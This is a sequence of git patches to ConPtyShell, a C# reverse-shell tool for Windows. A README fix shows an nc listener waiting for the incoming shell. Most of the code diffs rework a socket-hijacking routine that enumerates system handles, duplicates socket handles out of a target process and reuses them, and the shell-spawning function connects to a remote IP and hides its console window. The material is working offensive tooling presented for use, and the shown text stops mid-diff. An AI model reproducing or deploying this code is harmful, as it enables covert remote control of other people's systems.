From 692a0268fc67136f17a2052c9b04d1e71bc280f7 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Fri, 4 Jun 2021 18:36:15 +0200 Subject: [PATCH 01/35] fix README.md for zsh users zsh user must use stty raw echo and fg commands on a single line --- README.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 40c86b0..946b2f1 100644 --- a/README.md +++ b/README.md @@ -55,8 +55,7 @@ stty size nc -lvnp 3001 Wait For connection ctrl+z -stty raw -echo -fg[ENTER] +stty raw -echo; fg[ENTER] ``` ##### Client Side: Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols @@ -83,8 +82,7 @@ stty size nc -lvnp 3001 Wait For connection ctrl+z -stty raw -echo -fg[ENTER] +stty raw -echo; fg[ENTER] ``` ##### Client Side: Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols From a7aaa24d3993bc4a64aa2f1a612d444963ad36fc Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Fri, 4 Jun 2021 18:40:48 +0200 Subject: [PATCH 02/35] Added comment for debugging purpose --- ConPtyShell.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 1df5c96..0464c48 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -865,6 +865,7 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); + // comment the below function to debug errors InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); if(conptyCompatible){ From a965ddaea89dfd46198a3dab22c46d4f9148a27d Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sat, 5 Jun 2021 21:50:04 +0200 Subject: [PATCH 03/35] bugfix for the type index of a socket object --- ConPtyShell.cs | 156 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 115 insertions(+), 41 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 0464c48..05c383b 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -55,8 +55,8 @@ public bool CheckDeadlockDetected(IntPtr tHandle){ } } -public static class SocketHijacking{ - +public static class SocketHijacking { + private const uint NTSTATUS_SUCCESS = 0x00000000; private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; @@ -65,19 +65,56 @@ public static class SocketHijacking{ private const int WSA_FLAG_OVERLAPPED = 0x1; private const int DUPLICATE_SAME_ACCESS = 0x2; private const int SystemHandleInformation = 16; - + [StructLayout(LayoutKind.Sequential, Pack = 1)] - private struct SYSTEM_HANDLE + private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO { - public ushort ProcessId; - public ushort CreatorBackTrackIndex; - public byte ObjectTypeNumber; - public byte HandleAttribute; - public ushort Handle; + public ushort UniqueProcessId; + public ushort CreatorBackTraceIndex; + public byte ObjectTypeIndex; + public byte HandleAttributes; + public ushort HandleValue; public IntPtr Object; public IntPtr GrantedAccess; } + [StructLayout(LayoutKind.Sequential)] + private struct GENERIC_MAPPING + { + public int GenericRead; + public int GenericWrite; + public int GenericExecute; + public int GenericAll; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct OBJECT_TYPE_INFORMATION_V2 + { + public UNICODE_STRING TypeName; + public uint TotalNumberOfObjects; + public uint TotalNumberOfHandles; + public uint TotalPagedPoolUsage; + public uint TotalNonPagedPoolUsage; + public uint TotalNamePoolUsage; + public uint TotalHandleTableUsage; + public uint HighWaterNumberOfObjects;// PeakObjectCount; + public uint HighWaterNumberOfHandles;// PeakHandleCount; + public uint HighWaterPagedPoolUsage; + public uint HighWaterNonPagedPoolUsage; + public uint HighWaterNamePoolUsage; + public uint HighWaterHandleTableUsage; + public uint InvalidAttributes; + public GENERIC_MAPPING GenericMapping; + public uint ValidAccessMask; + public byte SecurityRequired;//bool + public byte MaintainHandleCount;//bool + public byte TypeIndex; + public byte ReservedByte; + public uint PoolType; + public uint DefaultPagedPoolCharge;// PagedPoolUsage; + public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; + } + public enum OBJECT_INFORMATION_CLASS : int { ObjectBasicInformation = 0, @@ -118,7 +155,7 @@ private enum ProcessAccessFlags : uint QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } - + [StructLayout(LayoutKind.Sequential)] private struct WSAData { @@ -133,14 +170,14 @@ private struct WSAData public string szSystemStatus; } - [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct WSAPROTOCOLCHAIN { public int ChainLen; - [MarshalAs(UnmanagedType.ByValArray, SizeConst=7)] + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public uint[] ChainEntries; } - - [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct WSAPROTOCOL_INFO { public uint dwServiceFlags1; public uint dwServiceFlags2; @@ -161,10 +198,10 @@ private struct WSAPROTOCOL_INFO { public int iSecurityScheme; public uint dwMessageSize; public uint dwProviderReserved; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)] + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] public string szProtocol; } - + [StructLayout(LayoutKind.Sequential)] private struct SOCKADDR_IN { @@ -173,10 +210,10 @@ private struct SOCKADDR_IN public uint sin_addr; public long sin_zero; } - - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); - + [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); @@ -188,14 +225,14 @@ private struct SOCKADDR_IN [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); - + [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); - + [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); @@ -219,7 +256,7 @@ private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLen { uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); if (result == NTSTATUS_SUCCESS) - return infoPtr; + return infoPtr; Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) { @@ -229,8 +266,44 @@ private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLen infoPtr = Marshal.AllocHGlobal(infoLength); } } - - //helper method with "dynamic" buffer allocation + + private static IntPtr QueryObjectTypesInfo() { + IntPtr ptrObjectTypesInformation = IntPtr.Zero; + ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); + return ptrObjectTypesInformation; + } + + private static long AlignUp(long address, long align) { + return (((address) + (align) - 1) & ~((align) - 1)); + } + + // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. + // credits for this goes to @0xrepnz + // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 + private static byte GetTypeIndexByName(string ObjectName){ + byte TypeIndex = 0; + long TypesCount = 0; + IntPtr ptrTypesInfo = IntPtr.Zero; + ptrTypesInfo = QueryObjectTypesInfo(); + TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64(); + // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2 + IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size); + for (int i = 0; i < TypesCount; i++) + { + OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); + // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object + ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(new OBJECT_TYPE_INFORMATION_V2())); + if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) + { + TypeIndex = Type.TypeIndex; + break; + } + } + Marshal.FreeHGlobal(ptrTypesInfo); + return TypeIndex; + } + + //helper method with "dynamic" buffer allocation public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) { if (infoLength == 0) @@ -240,7 +313,6 @@ public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLAS while (true) { result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); - if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) { Marshal.FreeHGlobal(infoPtr); @@ -283,20 +355,22 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); return socketHandle; } + ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); - HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); - // move pointer to the beginning of the address of SYSTEM_HANDLE[] - ptrHandlesInfo = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size); + HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); + // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] + IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size); + // get TypeIndex for "File" objects, needed to filter only sockets objects + byte TypeIndexFileObject = GetTypeIndexByName("File"); for(int i=0; i < HandlesCount; i++){ - SYSTEM_HANDLE sysHandle = (SYSTEM_HANDLE)Marshal.PtrToStructure(ptrHandlesInfo, typeof(SYSTEM_HANDLE)); - //move pointer to next SYSTEM_HANDLE - ptrHandlesInfo = (IntPtr)(ptrHandlesInfo.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE())); - if(sysHandle.ProcessId != targetProcess.Id || sysHandle.ObjectTypeNumber != 0x25) + SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); + //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO + ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE_TABLE_ENTRY_INFO())); + if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) continue; - - if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.Handle, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ + if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles - //Console.WriteLine("Deadlock detected"); + //Console.WriteLine("debug: Deadlock detected"); CloseHandle(dupHandle); continue; } @@ -308,20 +382,20 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 ) { - strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer); - //Console.WriteLine("strObjectName " + strObjectName); + strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); + //Console.WriteLine("debug: strObjectName " + strObjectName); if(strObjectName == "\\Device\\Afd"){ socketHandle = dupHandle; break; } - else{ - if(ptrObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ptrObjectName); + else CloseHandle(dupHandle); - } } + Marshal.FreeHGlobal(ptrObjectName); CloseHandle(dupHandle); } } + Marshal.FreeHGlobal(ptrHandlesInfo); return socketHandle; } @@ -898,7 +972,7 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } - //Console.WriteLine("Creating pseudo console..."); + //Console.WriteLine("debug: Creating pseudo console..."); //return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) From 3180592cb3885690f57007b8856ea24ea9c5ad98 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sat, 5 Jun 2021 22:35:58 +0200 Subject: [PATCH 04/35] bugfix: unhandled exception now is managed on PtrToStructure --- ConPtyShell.cs | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 05c383b..f96fca4 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -363,14 +363,20 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) // get TypeIndex for "File" objects, needed to filter only sockets objects byte TypeIndexFileObject = GetTypeIndexByName("File"); for(int i=0; i < HandlesCount; i++){ - SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); + SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; + try { + sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); + } + catch { + break; + } //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE_TABLE_ENTRY_INFO())); if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) continue; if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles - //Console.WriteLine("debug: Deadlock detected"); + // Console.WriteLine("debug: Deadlock detected"); CloseHandle(dupHandle); continue; } @@ -379,12 +385,17 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) CloseHandle(dupHandle); continue; } - objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); - if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 ) + try { + objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); + } + catch { + continue; + } + if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) { strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); - //Console.WriteLine("debug: strObjectName " + strObjectName); - if(strObjectName == "\\Device\\Afd"){ + // Console.WriteLine("debug: strObjectName " + strObjectName); + if (strObjectName == "\\Device\\Afd") { socketHandle = dupHandle; break; } @@ -392,8 +403,9 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) CloseHandle(dupHandle); } Marshal.FreeHGlobal(ptrObjectName); + ptrObjectName = IntPtr.Zero; CloseHandle(dupHandle); - } + } } Marshal.FreeHGlobal(ptrHandlesInfo); return socketHandle; From 6c023f7adc382b2ead22e4d8575a9944476031cb Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 01:13:37 +0200 Subject: [PATCH 05/35] bugfix: improved handle cleanup and multiple sockets handling in processes --- ConPtyShell.cs | 171 +++++++++++++++++++++++++++++++++++++------------ 1 file changed, 130 insertions(+), 41 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index f96fca4..8096095 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -6,6 +6,7 @@ using System.Net.Sockets; using System.Runtime.InteropServices; using System.Diagnostics; +using System.Collections.Generic; public class ConPtyShellException : Exception { @@ -410,60 +411,148 @@ public static IntPtr GetSocketTargetProcess(Process targetProcess) Marshal.FreeHGlobal(ptrHandlesInfo); return socketHandle; } - - public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){ - IntPtr parentSocketHandle = IntPtr.Zero; - SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); - SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); - int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); - int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); - parentSocketHandle = GetSocketTargetProcess(parentProcess); - - if(parentSocketHandle == IntPtr.Zero) - return false; - if(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0){ - Console.WriteLine("getpeername sockaddrTargetProcess failed with wsalasterror " + WSAGetLastError().ToString()); - CloseHandle(parentSocketHandle); - return false; + + + public static List GetSocketsTargetProcess(Process targetProcess) + { + OBJECT_NAME_INFORMATION objNameInfo; + long HandlesCount = 0; + IntPtr dupHandle; + IntPtr ptrObjectName; + IntPtr ptrHandlesInfo; + IntPtr hTargetProcess; + string strObjectName; + List socketsHandles = new List(); + DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); + + hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id); + if (hTargetProcess == IntPtr.Zero) + { + Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); + return socketsHandles; } - if(getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ - Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString()); - CloseHandle(parentSocketHandle); - return false; + + ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); + HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); + // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] + IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size); + // get TypeIndex for "File" objects, needed to filter only sockets objects + byte TypeIndexFileObject = GetTypeIndexByName("File"); + for (int i = 0; i < HandlesCount; i++) + { + SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; + try + { + sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); + } + catch + { + break; + } + //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO + ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE_TABLE_ENTRY_INFO())); + if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) + continue; + if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) + { // this will avoids deadlocks on special named pipe handles + // Console.WriteLine("debug: Deadlock detected"); + CloseHandle(dupHandle); + continue; + } + ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + if (ptrObjectName == IntPtr.Zero) + { + CloseHandle(dupHandle); + continue; + } + try + { + objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); + } + catch + { + continue; + } + if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) + { + strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); + // Console.WriteLine("debug: strObjectName " + strObjectName); + if (strObjectName == "\\Device\\Afd") + socketsHandles.Add(dupHandle); + else + CloseHandle(dupHandle); + } + else + CloseHandle(dupHandle); + Marshal.FreeHGlobal(ptrObjectName); + ptrObjectName = IntPtr.Zero; + } } - if(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port){ - CloseHandle(parentSocketHandle); - return true; + Marshal.FreeHGlobal(ptrHandlesInfo); + if (socketsHandles.Count >= 2) + socketsHandles.Sort(delegate (IntPtr a, IntPtr b) { return (b.ToInt64().CompareTo(a.ToInt64())); }); + return socketsHandles; + } + + public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){ + bool inherited = false; + List parentSocketsHandles = GetSocketsTargetProcess(parentProcess); + if(parentSocketsHandles.Count < 1) + return inherited; + foreach (IntPtr parentSocketHandle in parentSocketsHandles) + { + SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); + SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); + int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); + int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); + if (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0) + continue; + if (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0) + continue; + if (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) + { + // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); + inherited = true; + break; + } } - CloseHandle(parentSocketHandle); - return false; + // cleaning all socket handles + foreach (IntPtr dupHandle in parentSocketsHandles) + CloseHandle(dupHandle); + return inherited; } public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) { IntPtr targetSocketHandle = IntPtr.Zero; - IntPtr dupSocketHandle = IntPtr.Zero; - targetSocketHandle = GetSocketTargetProcess(targetProcess); - if(targetSocketHandle == IntPtr.Zero ) + List targetProcessSockets = GetSocketsTargetProcess(targetProcess); + if(targetProcessSockets.Count < 1) throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); else{ - WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); WSAData data; if( WSAStartup(2 << 8 | 2, out data) != 0 ) throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); - int status = WSADuplicateSocket(targetSocketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); - if (status != 0) { - Console.WriteLine("WSADuplicateSocket failed with error " + status.ToString() + " and wsalasterror " + WSAGetLastError().ToString() ); - return dupSocketHandle; - } - dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); - if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) { - Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString()); - return dupSocketHandle; + foreach (IntPtr socketHandle in targetProcessSockets) { + IntPtr dupSocketHandle = IntPtr.Zero; + WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); + int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); + if (status != 0) + continue; + dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); + if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) + continue; + targetSocketHandle = dupSocketHandle; + break; } - //Console.WriteLine("WSASocket success handlex 0x" + dupSocketHandle.ToString("X4")); } - return dupSocketHandle; + // cleaning all socket handles + foreach (IntPtr dupHandle in targetProcessSockets) + CloseHandle(dupHandle); + if (targetSocketHandle == IntPtr.Zero) + throw new ConPtyShellException("Something went wrong in socket duplication."); //this means that WSADuplicateSocket or WSASocket exited with an expected behavior and no sockets candidate has been able to duplicate + return targetSocketHandle; } } @@ -984,8 +1073,8 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } - //Console.WriteLine("debug: Creating pseudo console..."); - //return ""; + // Console.WriteLine("debug: Creating pseudo console..."); + // return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) { From 042ab074367fb9abf3013cbc6dc26ac326b3ad24 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 6 Jun 2021 01:34:14 +0200 Subject: [PATCH 06/35] bugfix: small change in the logic for getting the target socket in the process --- ConPtyShell.cs | 87 ++++---------------------------------------------- 1 file changed, 7 insertions(+), 80 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 8096095..cad3312 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -336,82 +336,6 @@ public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLAS return IntPtr.Zero; } - - - - public static IntPtr GetSocketTargetProcess(Process targetProcess) - { - OBJECT_NAME_INFORMATION objNameInfo; - long HandlesCount = 0; - IntPtr dupHandle; - IntPtr ptrObjectName; - IntPtr ptrHandlesInfo; - IntPtr hTargetProcess; - string strObjectName; - IntPtr socketHandle = IntPtr.Zero; - DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); - - hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id); - if(hTargetProcess == IntPtr.Zero){ - Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); - return socketHandle; - } - - ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); - HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); - // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] - IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size); - // get TypeIndex for "File" objects, needed to filter only sockets objects - byte TypeIndexFileObject = GetTypeIndexByName("File"); - for(int i=0; i < HandlesCount; i++){ - SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; - try { - sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); - } - catch { - break; - } - //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO - ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE_TABLE_ENTRY_INFO())); - if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) - continue; - if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ - if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles - // Console.WriteLine("debug: Deadlock detected"); - CloseHandle(dupHandle); - continue; - } - ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); - if (ptrObjectName == IntPtr.Zero){ - CloseHandle(dupHandle); - continue; - } - try { - objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); - } - catch { - continue; - } - if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) - { - strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); - // Console.WriteLine("debug: strObjectName " + strObjectName); - if (strObjectName == "\\Device\\Afd") { - socketHandle = dupHandle; - break; - } - else - CloseHandle(dupHandle); - } - Marshal.FreeHGlobal(ptrObjectName); - ptrObjectName = 